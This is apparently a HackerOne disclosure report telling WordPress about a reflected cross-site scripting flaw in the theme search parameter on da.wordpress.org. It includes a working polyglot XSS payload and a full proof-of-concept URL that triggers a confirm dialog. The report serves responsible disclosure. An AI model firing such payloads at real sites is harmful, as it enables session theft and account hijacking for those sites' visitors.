Technical details and impact analysis
Hello -
You have a reflected XSS vulnerability located at this domain:
https://da.wordpress.org/themes/?s=
This was tested on the latest version of Chrome (Version 57.0.2987.133 (64-bit)
By entering this payload in the URL, you are able to execute a script to fire:
`1%3C!%27/*%22/*\%27/*\%22/*--%3E%3C/Script%3E%3CImage%20Srcset=K%20*/;%20Onerror=confirm`1`%20//%3E#`
Note that the "1" in the confirm is enclosed in backticks, the HackerOne editor just makes it difficult to show. I have attached a screenshot to show the full URL, as well as included it below:
https://da.wordpress.org/themes/?s=1%3C!%27/*%22/*\%27/*\%22/*--%3E%3C/Script%3E%3CImage%20Srcset=K%20*/;%20Onerror=confirm`1`%20//%3E#
Please let me know if you have any other questions, thanks!
